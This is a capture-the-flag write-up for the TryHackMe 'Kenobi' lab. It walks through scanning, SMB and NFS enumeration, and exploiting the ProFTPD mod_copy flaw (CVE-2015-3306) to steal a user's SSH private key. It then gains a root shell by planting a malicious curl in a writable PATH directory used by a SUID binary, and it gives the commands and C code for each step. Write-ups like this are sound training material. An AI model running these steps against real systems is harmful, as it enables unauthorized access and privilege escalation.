Kenobi			
Organization: TryHackMe		Type: online CTF	
Categories:	☐ Network Security ☐ Cryptography ☐ Mobile Applications	☐ Reverse Engineering ☑ Web Applications ☐ Forensics	Difficulty: Easy
Name: Kasper Verhulst		Release date:25/04/2020 Completing date: 16/10/2025	

Scanning & Reconaissance

First, let us start scanning the machine to see which services are running. As usual, let's start by running an nmap command.

```
sudo nmap -sS -A -p- $BOX_IP -oN nmap.out -T4
```

We find the following services running on the machine

Port	Protocol	Service
21/tcp open	FTP	ProFTPD 1.3.5
22/tcp open	SSH	OpenSSH 7.2
80/tcp open	HTTP	Apache httpd 2.4.18
111/tcp open	RPC	rpcbind
139/tcp open	NetBIOS	Samba smbd 4.3.11-Ubuntu
445/tcp open	NetBIOS	Samba smbd 4.3.11-Ubuntu
2049/tcp open	nfs_acl	

The ProFTPD server version 1.3.5 has serious RCE vulnerability CVE-2015-3306. Via the mod_copy module unauthenticated remote attackers can read and write to arbitrary files. For instance, a payload can be delivered via a webserver and this payload can read arbitrary files or can move around files on the server.

Enumeration

SMB

Let's see if there are any shares available for unauthenticated users:

```
smbmap -H $IP
smbclient //$IP/anonymous
get log.txt
```

We retrieve a log file that shows the generation of an SSH key under the *kenobi* user, the configuration file of the ProFTPD server and a Samba configuration file.

NFS

The RPC protocol on a Linux server typically means there is an NFS file sharing. Furthermore it is using the standard ports 111 or the rpcbind and 2049 for the nfs service itself. Let's list the shared mounts:

```
showmount -e 10.10.154.155
Export list for 10.10.154.155:
/var *
```

HTTP

```
$ gobuster dir -u http://$IP -w /usr/share/wordlists/SecLists-master/Discovery
    /Web-Content/directory-list-2.3-medium.txt -x html
```

There is an Apache web server running that hosts a robots.txt and admin.html file.

Initial Access

The idea is to exploit the vulnerability to move a file on the server to a location on the `/var` share because this share is mountable. We know the FTP server is running under the user *kenobi* and the log.txt file revealed there was an ssh key for this under available under `/home/kenobi/.ssh/id_rsa`

I found a few public exploits for the CVE-2015-3306, but they are all trying to upload a complete backdoor via a PHP payload on the web server. Those were not working, probably because the PHP module is not enabled on the minimal Apache setup. We need to simply execute the CPFR and CPTO manually

```
nc $IP 21
SITE CPRF /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
```

Now mount the NFS share on our attacker machine

```
sudo mkdir /mnt/kenobi
sudo mount 10.10.153.207:/var /mnt/kenobi
ls /mnt/kenobi/tmp/
cp /mnt/kenobi/tmp/id_rsa .
```

Now to connect to the box using Kenobi's ssh key and capture the user flag.

```
ssh -i id_rsa kenobi@$IP
```

Privilege Escalation

One of the first things to test on the Linux server are the binaries that have SUID or SGID bits set:

```
$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
```

```
/bin/umount
/bin/fusermount
/bin/mount
/bin/su
```

I checked on GTFObins which of those binaries are exploitable with SUID bits, but some of them were uknown. Particularly the *menu* command is not a standard binary whereas it will be run by root (the owner). Let's investigate what the binary is doing:

```
string /usr/bin/menu

[...]
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
```

So we can assume that option 1 will run the *curl* command, option 2 *uname* and option 3 *ifconfig*. Note that the *menu* is run as *root*, but the **commands are not using a full path**. This means the first version of the binary encountered in the PATH variable will be used:

```
echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/
    sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
```

For instance the `/home/kenobi/bin` directory is writable by the kenobi user, so let us create a malicous version of curl in that location. Either create a binary

```
int main() {
    setuid(0);
    system("/bin/bash -p");
}

gcc -o /home/kenobi/bin/curl exploit.c
```

or copy:

```
mkdir /home/kenobi/bin
echo /bin/sh > /home/kenobi/bin/curl
chmod +x /home/kenobi/bin/curl
```

now run the first option of the menu again and we have obtained a root shell.